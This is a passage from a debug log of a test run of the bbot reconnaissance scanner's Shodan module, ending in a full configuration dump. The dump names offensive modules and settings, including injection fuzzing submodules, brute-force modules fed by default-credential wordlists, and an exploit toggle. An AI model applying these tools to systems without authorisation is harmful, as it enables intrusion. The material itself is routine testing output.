for module "shodan_enterprise" -2026-02-27 19:10:15,988 [INFO] bbot.core.helpers.depsinstaller installer.py:269 Installing the following pip packages: shodan -2026-02-27 19:10:15,993 [HUGEVERBOSE] bbot.core.helpers.command command.py:198 run: /Users/andriikerekhovetskyi/Library/Caches/pypoetry/virtualenvs/bbot-hEZ38Iko-py3.10/bin/python -m pip install --upgrade shodan --constraint /private/tmp/.bbot_test/temp/9xzltnc1mggxhprxvmz3 -2026-02-27 19:10:17,107 [INFO] bbot.core.helpers.depsinstaller installer.py:288 Requirement already satisfied: filelock>=3.0.8 in /Users/andriikerekhovetskyi/Library/Caches/pypoetry/virtualenvs/bbot-hEZ38Iko-py3.10/lib/python3.10/site-packages (from tldextract->shodan) (3.18.0) -2026-02-27 19:10:17,108 [DEBUG] bbot.core.helpers.depsinstaller installer.py:202 Setup succeeded for module "shodan_enterprise" -2026-02-27 19:10:17,109 [VERBOSE] bbot.scanner scanner.py:1181 Loading 1 scan modules: shodan_enterprise -2026-02-27 19:10:17,235 [VERBOSE] bbot.scanner scanner.py:1181 Loaded module "shodan_enterprise" -2026-02-27 19:10:17,235 [INFO] bbot.scanner scanner.py:1191 Loaded 1/1 scan modules (shodan_enterprise) -2026-02-27 19:10:17,235 [VERBOSE] bbot.scanner scanner.py:1181 Loading 2 internal modules: dnsresolve,unarchive -2026-02-27 19:10:17,238 [VERBOSE] bbot.scanner scanner.py:1181 Loaded module "dnsresolve" -2026-02-27 19:10:17,239 [VERBOSE] bbot.scanner scanner.py:1181 Loaded module "unarchive" -2026-02-27 19:10:17,239 [INFO] bbot.scanner scanner.py:1191 Loaded 2/2 internal modules (dnsresolve,unarchive) -2026-02-27 19:10:17,239 [VERBOSE] bbot.scanner scanner.py:1181 Loading 1 output modules: python -2026-02-27 19:10:17,241 [VERBOSE] bbot.scanner scanner.py:1181 Loaded module "python" -2026-02-27 19:10:17,241 [INFO] bbot.scanner scanner.py:1191 Loaded 1/1 output modules, (python) -2026-02-27 19:10:17,242 [VERBOSE] bbot.scanner scanner.py:1181 Setting up modules -2026-02-27 19:10:17,242 [DEBUG] bbot.modules._scan_ingress base.py:1563 Setting up module _scan_ingress -2026-02-27 19:10:17,242 [DEBUG] bbot.modules._scan_ingress base.py:1563 Running _scan_ingress.setup_deps() -2026-02-27 19:10:17,243 [DEBUG] bbot.modules._scan_ingress base.py:1563 Running _scan_ingress.setup() -2026-02-27 19:10:17,243 [DEBUG] bbot.modules._scan_ingress base.py:1563 Finished setting up module _scan_ingress -2026-02-27 19:10:17,243 [DEBUG] bbot.modules.dnsresolve base.py:1563 Setting up module dnsresolve -2026-02-27 19:10:17,243 [DEBUG] bbot.modules.dnsresolve base.py:1563 Running dnsresolve.setup_deps() -2026-02-27 19:10:17,243 [DEBUG] bbot.modules.dnsresolve base.py:1563 Running dnsresolve.setup() -2026-02-27 19:10:17,243 [DEBUG] bbot.modules.dnsresolve base.py:1563 Finished setting up module dnsresolve -2026-02-27 19:10:17,244 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Setting up module shodan_enterprise -2026-02-27 19:10:17,244 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Running shodan_enterprise.setup_deps() -2026-02-27 19:10:17,244 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Running shodan_enterprise.setup() -2026-02-27 19:10:17,244 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Finished setting up module shodan_enterprise -2026-02-27 19:10:17,244 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Setting up module unarchive -2026-02-27 19:10:17,244 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Running unarchive.setup_deps() -2026-02-27 19:10:17,245 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Running unarchive.setup() -2026-02-27 19:10:17,245 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Finished setting up module unarchive -2026-02-27 19:10:17,245 [DEBUG] bbot.modules.output.python base.py:1563 Setting up module python -2026-02-27 19:10:17,245 [DEBUG] bbot.modules.output.python base.py:1563 Running python.setup_deps() -2026-02-27 19:10:17,245 [DEBUG] bbot.modules.output.python base.py:1563 Running python.setup() -2026-02-27 19:10:17,245 [DEBUG] bbot.modules.output.python base.py:1563 Finished setting up module python -2026-02-27 19:10:17,245 [DEBUG] bbot.modules._scan_egress base.py:1563 Setting up module _scan_egress -2026-02-27 19:10:17,246 [DEBUG] bbot.modules._scan_egress base.py:1563 Running _scan_egress.setup_deps() -2026-02-27 19:10:17,246 [DEBUG] bbot.modules._scan_egress base.py:1563 Running _scan_egress.setup() -2026-02-27 19:10:17,246 [DEBUG] bbot.modules._scan_egress base.py:1563 Finished setting up module _scan_egress -2026-02-27 19:10:17,246 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for unarchive (success) -2026-02-27 19:10:17,247 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for _scan_egress (success) -2026-02-27 19:10:17,247 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for shodan_enterprise (success) -2026-02-27 19:10:17,247 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for python (success) -2026-02-27 19:10:17,247 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for _scan_ingress (success) -2026-02-27 19:10:17,248 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for dnsresolve (success) -2026-02-27 19:10:17,248 [DEBUG] bbot.scanner scanner.py:1176 Setting intercept module dnsresolve._incoming_event_queue to previous intercept module _scan_ingress.outgoing_event_queue -2026-02-27 19:10:17,248 [DEBUG] bbot.scanner scanner.py:1176 Setting intercept module _scan_egress._incoming_event_queue to previous intercept module dnsresolve.outgoing_event_queue -2026-02-27 19:10:17,248 [SUCCESS] bbot.scanner scanner.py:1201 Setup succeeded for 6/6 modules. -2026-02-27 19:10:17,248 [DEBUG] bbot base.py:109 Executing setup_after_prep() -2026-02-27 19:10:17,252 [DEBUG] bbot base.py:111 Starting scan -2026-02-27 19:10:17,390 [HUGESUCCESS] bbot.scanner scanner.py:1206 Starting scan testshodan_enterprise_test_kvue4izjfx -2026-02-27 19:10:17,390 [VERBOSE] bbot.scanner scanner.py:1181 Starting module worker loops -2026-02-27 19:10:17,499 [VERBOSE] bbot.scanner scanner.py:1181 6 modules started -2026-02-27 19:10:17,499 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to STARTING -2026-02-27 19:10:17,500 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to RUNNING -2026-02-27 19:10:17,503 [VERBOSE] bbot.modules._scan_ingress base.py:1579 Target: DNS_NAME("blacklanternsecurity.com", module=TARGET, tags={'domain', 'target', 'distance-1'}) -2026-02-27 19:10:17,601 [DEBUG] bbot.modules._scan_ingress base.py:1563 DNS_NAME("blacklanternsecurity.com", module=TARGET, tags={'domain', 'target', 'distance-1'}) passed post-check -2026-02-27 19:10:17,602 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting DNS_NAME("blacklanternsecurity.com", module=TARGET, tags={'domain', 'target', 'distance-1'}) -2026-02-27 19:10:17,604 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making DNS_NAME("blacklanternsecurity.com", module=TARGET, tags={'domain', 'target', 'distance-1'}) in-scope because its main host matches the scan target -2026-02-27 19:10:17,605 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding DNS_NAME("blacklanternsecurity.com", module=TARGET, tags={'domain', 'target', 'in-scope'}) -2026-02-27 19:10:17,606 [DEBUG] bbot.modules._scan_ingress base.py:1563 SCAN("{'id': 'SCAN:a7ca11600dde8d6aeb6075467996d9119b56f4bd', 'name': 'testshodan_ente...", module=TARGET, tags=set()) passed post-check -2026-02-27 19:10:17,608 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting SCAN("{'id': 'SCAN:a7ca11600dde8d6aeb6075467996d9119b56f4bd', 'name': 'testshodan_ente...", module=TARGET, tags=set()) -2026-02-27 19:10:17,609 [DEBUG] bbot.modules.dnsresolve base.py:1563 DNS_NAME("blacklanternsecurity.com", module=TARGET, tags={'domain', 'target', 'in-scope'}) passed post-check -2026-02-27 19:10:17,609 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting DNS_NAME("blacklanternsecurity.com", module=TARGET, tags={'domain', 'target', 'in-scope'}) -2026-02-27 19:10:17,611 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding SCAN("{'id': 'SCAN:a7ca11600dde8d6aeb6075467996d9119b56f4bd', 'name': 'testshodan_ente...", module=TARGET, tags=set()) -2026-02-27 19:10:17,612 [DEBUG] bbot.modules.dnsresolve base.py:1563 Not intercepting SCAN("{'id': 'SCAN:a7ca11600dde8d6aeb6075467996d9119b56f4bd', 'name': 'testshodan_ente...", module=TARGET, tags=set()) because postcheck failed (it did not meet custom filter criteria: event does not have host attribute) -2026-02-27 19:10:17,613 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding SCAN("{'id': 'SCAN:a7ca11600dde8d6aeb6075467996d9119b56f4bd', 'name': 'testshodan_ente...", module=TARGET, tags=set()) -2026-02-27 19:10:17,614 [DEBUG] bbot.modules._scan_egress base.py:1563 SCAN("{'id': 'SCAN:a7ca11600dde8d6aeb6075467996d9119b56f4bd', 'name': 'testshodan_ente...", module=TARGET, tags=set()) passed post-check -2026-02-27 19:10:17,615 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting SCAN("{'id': 'SCAN:a7ca11600dde8d6aeb6075467996d9119b56f4bd', 'name': 'testshodan_ente...", module=TARGET, tags=set()) -2026-02-27 19:10:17,616 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding SCAN("{'id': 'SCAN:a7ca11600dde8d6aeb6075467996d9119b56f4bd', 'name': 'testshodan_ente...", module=TARGET, tags=set()) -2026-02-27 19:10:17,617 [DEBUG] bbot.modules.output.python base.py:1563 Queueing SCAN("{'id': 'SCAN:a7ca11600dde8d6aeb6075467996d9119b56f4bd', 'name': 'testshodan_ente...", module=TARGET, tags=set()) because precheck succeeded -2026-02-27 19:10:17,623 [DEBUG] bbot.core.helpers.dns dns.py:190 Skipping wildcard detection on blacklanternsecurity.com because blacklanternsecurity.com is excluded in the config -2026-02-27 19:10:17,623 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding DNS_NAME_UNRESOLVED("blacklanternsecurity.com", module=TARGET, tags={'target', 'unresolved', 'domain', 'in-scope'}) -2026-02-27 19:10:17,624 [DEBUG] bbot.modules._scan_egress base.py:1563 DNS_NAME_UNRESOLVED("blacklanternsecurity.com", module=TARGET, tags={'target', 'unresolved', 'domain', 'in-scope'}) passed post-check -2026-02-27 19:10:17,624 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting DNS_NAME_UNRESOLVED("blacklanternsecurity.com", module=TARGET, tags={'target', 'unresolved', 'domain', 'in-scope'}) -2026-02-27 19:10:17,625 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding DNS_NAME_UNRESOLVED("blacklanternsecurity.com", module=TARGET, tags={'target', 'unresolved', 'domain', 'in-scope'}) -2026-02-27 19:10:17,626 [DEBUG] bbot.modules.output.python base.py:1563 Queueing DNS_NAME_UNRESOLVED("blacklanternsecurity.com", module=TARGET, tags={'target', 'unresolved', 'domain', 'in-scope'}) because precheck succeeded -2026-02-27 19:10:17,702 [DEBUG] bbot.modules.output.python base.py:1563 Got SCAN("{'id': 'SCAN:a7ca11600dde8d6aeb6075467996d9119b56f4bd', 'name': 'testshodan_ente...", module=TARGET, tags=set()) from TARGET -2026-02-27 19:10:17,703 [DEBUG] bbot.modules.output.python base.py:1563 SCAN("{'id': 'SCAN:a7ca11600dde8d6aeb6075467996d9119b56f4bd', 'name': 'testshodan_ente...", module=TARGET, tags=set()) passed post-check -2026-02-27 19:10:17,704 [DEBUG] bbot.modules.output.python base.py:1563 Got DNS_NAME_UNRESOLVED("blacklanternsecurity.com", module=TARGET, tags={'target', 'unresolved', 'domain', 'in-scope'}) from TARGET -2026-02-27 19:10:17,704 [DEBUG] bbot.modules.output.python base.py:1563 DNS_NAME_UNRESOLVED("blacklanternsecurity.com", module=TARGET, tags={'target', 'unresolved', 'domain', 'in-scope'}) passed post-check -2026-02-27 19:10:17,705 [INFO] bbot.scanner scanner.py:790 Finishing scan -2026-02-27 19:10:17,705 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Queueing FINISHED("FINISHED", module=None, tags={'shodan-enterprise'}) because its type is FINISHED -2026-02-27 19:10:17,706 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Queueing FINISHED("FINISHED", module=None, tags={'unarchive'}) because its type is FINISHED -2026-02-27 19:10:17,707 [DEBUG] bbot.modules.output.python base.py:1563 Queueing FINISHED("FINISHED", module=None, tags={'python'}) because its type is FINISHED -2026-02-27 19:10:17,707 [VERBOSE] bbot.scanner scanner.py:1181 Completed finish() -2026-02-27 19:10:17,708 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to FINISHING -2026-02-27 19:10:17,708 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Got FINISHED("FINISHED", module=None, tags={'shodan-enterprise'}) from None -2026-02-27 19:10:17,709 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Got FINISHED("FINISHED", module=None, tags={'unarchive'}) from None -2026-02-27 19:10:17,809 [DEBUG] bbot.modules.output.python base.py:1563 Got FINISHED("FINISHED", module=None, tags={'python'}) from None -2026-02-27 19:10:17,810 [VERBOSE] bbot.scanner scanner.py:1181 Completed final finish() -2026-02-27 19:10:17,828 [DEBUG] bbot.scanner scanner.py:1176 Cancelling all scan tasks -2026-02-27 19:10:17,830 [DEBUG] bbot.scanner scanner.py:1176 Finished cancelling all scan tasks -2026-02-27 19:10:17,830 [DEBUG] bbot.scanner scanner.py:1176 Awaiting 42 tasks -2026-02-27 19:10:17,840 [DEBUG] bbot.scanner scanner.py:1176 Awaited 42 tasks -2026-02-27 19:10:17,841 [VERBOSE] bbot.core.dnshelper engine.py:334 EngineClient DNSHelper: shutting down... -2026-02-27 19:10:17,841 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to CLEANING_UP -2026-02-27 19:10:17,842 [VERBOSE] bbot.core.dnsengine engine.py:509 EngineServer DNSEngine got shutdown signal -2026-02-27 19:10:17,843 [VERBOSE] bbot.core.dnsengine engine.py:551 EngineServer DNSEngine: shutting down... -2026-02-27 19:10:17,844 [VERBOSE] bbot.core.dnsengine engine.py:564 EngineServer DNSEngine: finished shutting down -2026-02-27 19:10:17,953 [HUGESUCCESS] bbot.scanner scanner.py:1206 Scan testshodan_enterprise_test_kvue4izjfx completed in 0 seconds with status FINISHED -2026-02-27 19:10:17,954 [DEBUG] bbot base.py:113 Finished shodan_enterprise module test -2026-02-27 19:10:17,954 [DEBUG] asyncio selector_events.py:54 Using selector: KqueueSelector -2026-02-27 19:10:17,956 [CRITICAL] bbot test_module_shodan_enterprise.py:19 SCAN -2026-02-27 19:10:17,956 [HUGESUCCESS] bbot test_module_shodan_enterprise.py:21 {'id': 'SCAN:a7ca11600dde8d6aeb6075467996d9119b56f4bd', 'name': 'testshodan_enterprise_test_kvue4izjfx', 'target': {'seeds': ['blacklanternsecurity.com'], 'whitelist': ['blacklanternsecurity.com'], 'blacklist': [], 'strict_scope': False, 'hash': 'b813d1d7fbaa3a3ca10ef8102b5dbcf344f4e8ea', 'seed_hash': '1e57014aa7b0715bca68e4f597204fc4e1e851fc', 'whitelist_hash': '1e57014aa7b0715bca68e4f597204fc4e1e851fc', 'blacklist_hash': 'da39a3ee5e6b4b0d3255bfef95601890afd80709', 'scope_hash': '0b94739339395097caf816b6e7a5a71160c59cf3'}, 'preset': {'description': 'testshodan_enterprise_test_kvue4izjfx', 'config': {'home': '/tmp/.bbot_test', 'keep_scans': 20, 'status_frequency': 15, 'file_blobs': False, 'folder_blobs': False, 'scope': {'strict': False, 'report_distance': 0, 'search_distance': 0}, 'dns': {'disable': False, 'minimal': True, 'threads': 25, 'brute_threads': 1000, 'brute_nameservers': 'https://raw.githubusercontent.com/blacklanternsecurity/public-dns-servers/master/nameservers.txt', 'search_distance': 1, 'runaway_limit': 5, 'timeout': 1, 'retries': 1, 'wildcard_disable': False, 'wildcard_ignore': ['blacklanternsecurity.com', 'fakedomain', 'notreal', 'google', 'google.com', 'example.com', 'evilcorp.com', 'one'], 'wildcard_tests': 10, 'abort_threshold': 50, 'filter_ptrs': True, 'debug': False, 'omit_queries': ['SRV:mail.protection.outlook.com', 'CNAME:mail.protection.outlook.com', 'TXT:mail.protection.outlook.com']}, 'web': {'http_proxy': None, 'user_agent': 'BBOT Test User-Agent', 'spider_distance': 0, 'spider_depth': 1, 'spider_links_per_page': 25, 'http_timeout': 10, 'httpx_timeout': 5, 'http_headers': {'test': 'header'}, 'api_retries': 2, 'http_retries': 1, 'httpx_retries': 1, '429_sleep_interval': 30, '429_max_sleep_interval': 60, 'debug': False, 'http_max_redirects': 5, 'ssl_verify': False}, 'engine': {'debug': True}, 'deps': {'ffuf': {'version': '2.1.0'}, 'behavior': 'retry_failed'}, 'module_dirs': [], 'module_handle_event_timeout': 3600, 'module_handle_batch_timeout': 7200, 'speculate': False, 'excavate': False, 'aggregate': False, 'dnsresolve': True, 'cloudcheck': False, 'url_querystring_remove': True, 'url_querystring_collapse': True, 'url_extension_blacklist': ['png', 'jpg', 'bmp', 'ico', 'jpeg', 'gif', 'svg', 'webp', 'css', 'woff', 'woff2', 'ttf', 'eot', 'sass', 'scss', 'mp3', 'm4a', 'wav', 'flac', 'mp4', 'mkv', 'avi', 'wmv', 'mov', 'flv', 'webm'], 'url_extension_special': ['js'], 'url_extension_static': ['pdf', 'doc', 'docx', 'xls', 'xlsx', 'ppt', 'pptx', 'txt', 'csv', 'xml', 'yaml', 'ini', 'log', 'conf', 'cfg', 'env', 'md', 'rtf', 'tiff', 'bmp', 'jpg', 'jpeg', 'png', 'gif', 'svg', 'ico', 'mp3', 'wav', 'flac', 'mp4', 'mov', 'avi', 'mkv', 'webm', 'zip', 'tar', 'gz', 'bz2', '7z', 'rar'], 'parameter_blacklist': ['__VIEWSTATE', '__EVENTARGUMENT', '__EVENTVALIDATION', '__EVENTTARGET', '__EVENTARGUMENT', '__VIEWSTATEGENERATOR', '__SCROLLPOSITIONY', '__SCROLLPOSITIONX', 'ASP.NET_SessionId', 'PHPSESSID', '__cf_bm', 'f5_cspm'], 'parameter_blacklist_prefixes': ['TS01', 'BIGipServer', 'incap_', 'visid_incap_', 'AWSALB', 'utm_', 'ApplicationGatewayAffinity', 'JSESSIONID', 'ARRAffinity'], 'omit_event_types': [], 'interactsh_server': None, 'interactsh_disable': False, 'modules': {'massdns': {'wordlist': 'https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/DNS/deepmagic.com-prefixes-top500.txt'}, 'ffuf': {'prefix_busting': True, 'wordlist': 'https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/raft-small-directories.txt', 'lines': 5000, 'max_depth': 0, 'extensions': '', 'ignore_case': False, 'rate': 0}, 'http': {'url': '', 'bearer': '', 'method': 'POST', 'timeout': 10, 'siem_friendly': False}, 'websocket': {'url': '', 'preserve_graph': True, 'ignore_ssl': False}, 'asn': {}, 'affiliates': {}, 'lightfuzz': {'force_common_headers': False, 'enabled_submodules': ['sqli', 'cmdi', 'xss', 'path', 'ssti', 'crypto', 'serial', 'esi'], 'disable_post': False, 'try_post_as_get': False, 'try_get_as_post': False, 'avoid_wafs': True}, 'web_parameters': {'output_file': '', 'include_count': False}, 'discord': {'webhook_url': '', 'event_types': ['VULNERABILITY', 'FINDING'], 'min_severity': 'LOW', 'retries': 10}, 'emails': {'output_file': ''}, 'teams': {'webhook_url': '', 'event_types': ['VULNERABILITY', 'FINDING'], 'min_severity': 'LOW', 'retries': 10}, 'txt': {'output_file': ''}, 'neo4j': {'uri': 'bolt://localhost:7687'}, 'asset_inventory': {'output_file': '', 'use_previous': False, 'recheck': False, 'summary_netmask': 16}, 'sqlite': {'database': ''}, 'web_report': {'output_file': '', 'css_theme_file': 'https://cdnjs.cloudflare.com/ajax/libs/github-markdown-css/5.1.0/github-markdown.min.css'}, 'csv': {'output_file': ''}, 'postgres': {'host': 'localhost', 'port': 5432, 'database': 'bbot'}, 'python': {}, 'subdomains': {'output_file': '', 'include_unresolved': False}, 'stdout': {'format': 'text', 'event_types': [], 'event_fields': [], 'in_scope_only': False, 'accept_dupes': True}, 'nmap_xml': {}, 'json': {'output_file': '', 'siem_friendly': False}, 'slack': {'webhook_url': '', 'event_types': ['VULNERABILITY', 'FINDING'], 'min_severity': 'LOW', 'retries': 10}, 'splunk': {'url': '', 'index': '', 'source': '', 'timeout': 10}, 'mysql': {'host': 'localhost', 'port': 3306, 'database': 'bbot'}, 'aggregate': {}, 'cloudcheck': {}, 'excavate': {'yara_max_match_data': 2000, 'custom_yara_rules': '', 'speculate_params': False}, 'speculate': {'max_hosts': 65536, 'ports': '80,443', 'essential_only': False}, 'unarchive': {}, 'dnsresolve': {}, 'legba': {'ssh_wordlist': 'https://raw.githubusercontent.com/danielmiessler/SecLists/refs/heads/master/Passwords/Default-Credentials/ssh-betterdefaultpasslist.txt', 'ftp_wordlist': 'https://raw.githubusercontent.com/danielmiessler/SecLists/refs/heads/master/Passwords/Default-Credentials/ftp-betterdefaultpasslist.txt', 'telnet_wordlist': 'https://raw.githubusercontent.com/danielmiessler/SecLists/refs/heads/master/Passwords/Default-Credentials/telnet-betterdefaultpasslist.txt', 'vnc_wordlist': 'https://raw.githubusercontent.com/danielmiessler/SecLists/refs/heads/master/Passwords/Default-Credentials/vnc-betterdefaultpasslist.txt', 'mssql_wordlist': 'https://raw.githubusercontent.com/danielmiessler/SecLists/refs/heads/master/Passwords/Default-Credentials/mssql-betterdefaultpasslist.txt', 'mysql_wordlist': 'https://raw.githubusercontent.com/danielmiessler/SecLists/refs/heads/master/Passwords/Default-Credentials/mysql-betterdefaultpasslist.txt', 'postgresql_wordlist': 'https://raw.githubusercontent.com/danielmiessler/SecLists/refs/heads/master/Passwords/Default-Credentials/postgres-betterdefaultpasslist.txt', 'concurrency': 3, 'rate_limit': 3, 'version': '1.1.1'}, 'urlscan': {'urls': False}, 'jadx': {'threads': 4}, 'trufflehog': {'version': '3.90.8', 'config': '', 'only_verified': True, 'concurrency': 8, 'deleted_forks': False}, 'host_header': {}, 'securitytxt': {'emails': True, 'urls': True}, 'dnsdumpster': {}, 'bevigil': {'urls': False}, 'bucket_google': {'permutations': False}, 'git': {}, 'azure_realm': {}, 'extractous': {'extensions': ['bak', 'bash', 'bashrc', 'conf', 'cfg', 'crt', 'csv', 'db', 'sqlite', 'doc', 'docx', 'ica', 'indd', 'ini', 'json', 'key', 'pub', 'log', 'markdown', 'md', 'odg', 'odp', 'ods', 'odt', 'pdf', 'pem', 'pps', 'ppsx', 'ppt', 'pptx', 'ps1', 'rdp', 'rsa', 'sh', 'sql', 'swp', 'sxw', 'txt', 'vbs', 'wpd', 'xls', 'xlsx', 'xml', 'yml', 'yaml']}, 'credshed': {'credshed_url': ''}, 'fullhunt': {}, 'social': {}, 'pgp': {'search_urls': ['https://keyserver.ubuntu.com/pks/lookup?fingerprint=on&op=vindex&search=', 'http://the.earth.li:11371/pks/lookup?fingerprint=on&op=vindex&search=', 'https://pgpkeys.eu/pks/lookup?search=&op=index', 'https://pgp.mit.edu/pks/lookup?search=&op=index']}, 'azure_tenant': {}, 'virustotal': {}, 'vhost': {'wordlist': 'https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/DNS/subdomains-top1million-5000.txt', 'force_basehost': '', 'lines': 5000}, 'shodan_enterprise': {}, 'dnsbrute': {'wordlist': 'https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/DNS/subdomains-top1million-5000.txt', 'max_depth': 5}, 'shodan_dns': {}, 'ip2location': {'lang': ''}, 'rapiddns': {}, 'wpscan': {'enumerate': 'vp,vt,cb,dbe', 'threads': 5, 'request_timeout': 5, 'connection_timeout': 2, 'disable_tls_checks': True, 'force': False}, 'dnscommonsrv': {'max_depth': 2}, 'passivetotal': {}, 'ntlm': {'try_all': False}, 'trickest': {}, 'google_playstore': {}, 'github_usersearch': {}, 'subdomainradar': {'group': 'fast', 'timeout': 120}, 'dockerhub': {}, 'medusa': {'snmp_wordlist': 'https://raw.githubusercontent.com/danielmiessler/SecLists/refs/heads/master/Discovery/SNMP/common-snmp-community-strings.txt', 'snmp_versions': ['1', '2C'], 'wait_microseconds': 200, 'timeout_s': 5, 'threads': 5}, 'digitorus': {}, 'wafw00f': {'generic_detect': True}, 'generic_ssrf': {'skip_dns_interaction': False}, 'filedownload': {'extensions': ['bak', 'bash', 'bashrc', 'cfg', 'conf', 'crt', 'csv', 'db', 'dll', 'doc', 'docx', 'exe', 'ica', 'indd', 'ini', 'jar', 'json', 'key', 'log', 'markdown', 'md', 'msi', 'odg', 'odp', 'ods', 'odt', 'pdf', 'pem', 'pps', 'ppsx', 'ppt', 'pptx', 'ps1', 'pub', 'raw', 'rdp', 'rsa', 'sh', 'sql', 'sqlite', 'swp', 'sxw', 'tar.gz', 'tgz', 'tar', 'txt', 'vbs', 'war', 'wpd', 'xls', 'xlsx', 'xml', 'yaml', 'yml', 'zip', 'lzma', 'rar', '7z', 'xz', 'bz2'], 'max_filesize': '10MB', 'output_folder': ''}, 'chaos': {}, 'httpx': {'threads': 50, 'in_scope_only': True, 'version': '1.2.5', 'max_response_size': 5242880, 'store_responses': False, 'probe_all_ips': False}, 'baddns_zone': {'custom_nameservers': [], 'only_high_confidence': False}, 'graphql_introspection': {'graphql_endpoint_urls': ['/', '/graphql', '/v1/graphql'], 'output_folder': ''}, 'paramminer_headers': {'wordlist': '', 'recycle_words': False, 'skip_boring_words': True}, 'securitytrails': {}, 'bucket_microsoft': {'permutations': False}, 'viewdns': {}, 'url_manipulation': {'allow_redirects': True}, 'ffuf_shortnames': {'wordlist_extensions': '', 'max_depth': 1, 'version': '2.0.0', 'extensions': '', 'ignore_redirects': True, 'find_common_prefixes': False, 'find_delimiters': True, 'find_subwords': False, 'max_predictions': 250, 'rate': 0}, 'censys_ip': {'dns_names_limit': 100, 'in_scope_only': True}, 'builtwith': {'redirects': True}, 'certspotter': {}, 'sslcert': {'timeout': 5.0, 'skip_non_ssl': True}, 'gitdumper': {'output_folder': '', 'fuzz_tags': False, 'max_semanic_version': 10}, 'shodan_idb': {'retries': None}, 'hackertarget': {}, 'c99': {}, 'newsletters': {}, 'apkpure': {'output_folder': ''}, 'crt': {}, 'postman_download': {'output_folder': ''}, 'hunt': {}, 'dnsbrute_mutations': {'max_mutations': 100}, 'bucket_firebase': {'permutations': False}, 'nuclei': {'version': '3.7.0', 'tags': '', 'templates': '', 'severity': '', 'ratelimit': 150, 'concurrency': 25, 'mode': 'manual', 'etags': '', 'budget': 1, 'silent': False, 'directory_only': True, 'retries': 0, 'batch_size': 200, 'module_timeout': 21600}, 'censys_dns': {'max_pages': 5}, 'retirejs': {'version': '5.3.0', 'node_version': '18.19.1', 'severity': 'medium'}, 'git_clone': {'output_folder': ''}, 'bucket_amazon': {'permutations': False}, 'bucket_digitalocean': {'permutations': False}, 'skymem': {}, 'hunterio': {}, 'paramminer_cookies': {'wordlist': '', 'recycle_words': False, 'skip_boring_words': True}, 'postman': {}, 'code_repository': {}, 'gitlab_com': {}, 'dnstlsrpt': {'emit_emails': True, 'emit_raw_dns_records': False, 'emit_urls': True}, 'baddns': {'custom_nameservers': [], 'only_high_confidence': False, 'enabled_submodules': []}, 'subdomaincenter': {}, 'wayback': {'urls': False, 'garbage_threshold': 10}, 'ipstack': {}, 'emailformat': {}, 'fingerprintx': {'version': '1.1.4', 'skip_common_web': True}, 'dnscaa': {'in_scope_only': True, 'dns_names': True, 'emails': True, 'urls': True}, 'bypass403': {}, 'leakix': {}, 'paramminer_getparams': {'wordlist': '', 'recycle_words': False, 'skip_boring_words': True}, 'reflected_parameters': {}, 'crt_db': {}, 'bucket_file_enum': {'file_limit': 50}, 'portscan': {'top_ports': 100, 'ports': '', 'rate': 300, 'wait': 5, 'ping_first': False, 'ping_only': False, 'adapter': '', 'adapter_ip': '', 'adapter_mac': '', 'router_mac': '', 'module_timeout': 259200}, 'baddns_direct': {'custom_nameservers': []}, 'ajaxpro': {}, 'telerik': {'exploit_RAU_crypto': False, 'include_subdirs': False}, 'dnsbimi': {'emit_raw_dns_records': False, 'emit_urls': True, 'selectors': 'default,email,mail,bimi'}, 'aspnet_bin_exposure': {}, 'otx': {}, 'github_codesearch': {'limit': 100}, 'dehashed': {}, 'gowitness': {'version': '3.0.5', 'threads': 0, 'timeout': 10, 'resolution_x': 1440, 'resolution_y': 900, 'output_path': '', 'social': False, 'idle_timeout': 1800, 'chrome_path': ''}, 'docker_pull': {'all_tags': False, 'output_folder': ''}, 'ipneighbor': {'num_bits': 4}, 'bufferoverrun': {'commercial': False}, 'gitlab_onprem': {}, 'iis_shortnames': {'detect_only': True, 'max_node_count': 50, 'speculate_magic_urls': True}, 'badsecrets': {}, 'myssl': {}, 'github_workflows': {'num_logs': 1, 'output_folder': ''}, 'dotnetnuke': {}, 'smuggler': {}, 'robots': {'include_sitemap': False, 'include_allow': True, 'include_disallow': True}, 'anubisdb': {'limit': 1000}, 'oauth': {'try_all': False}, 'github_org': {'include_members': True, 'include_member_repos': False}, 'portfilter': {'cdn_tags': 'cdn-', 'allowed_cdn_ports': '80,443'}, 'sitedossier': {}}, 'agent_url': 'ws://127.0.0.1:8765', 'debug': True}, 'modules': ['shodan_enterprise'], 'output_modules': ['python'], 'scan_name': 'testshodan_enterprise_test_kvue4izjfx'}, 'started_at': '2026-02-27T19:10:17.252776', 'status': 'RUNNING'} -2026-02-27 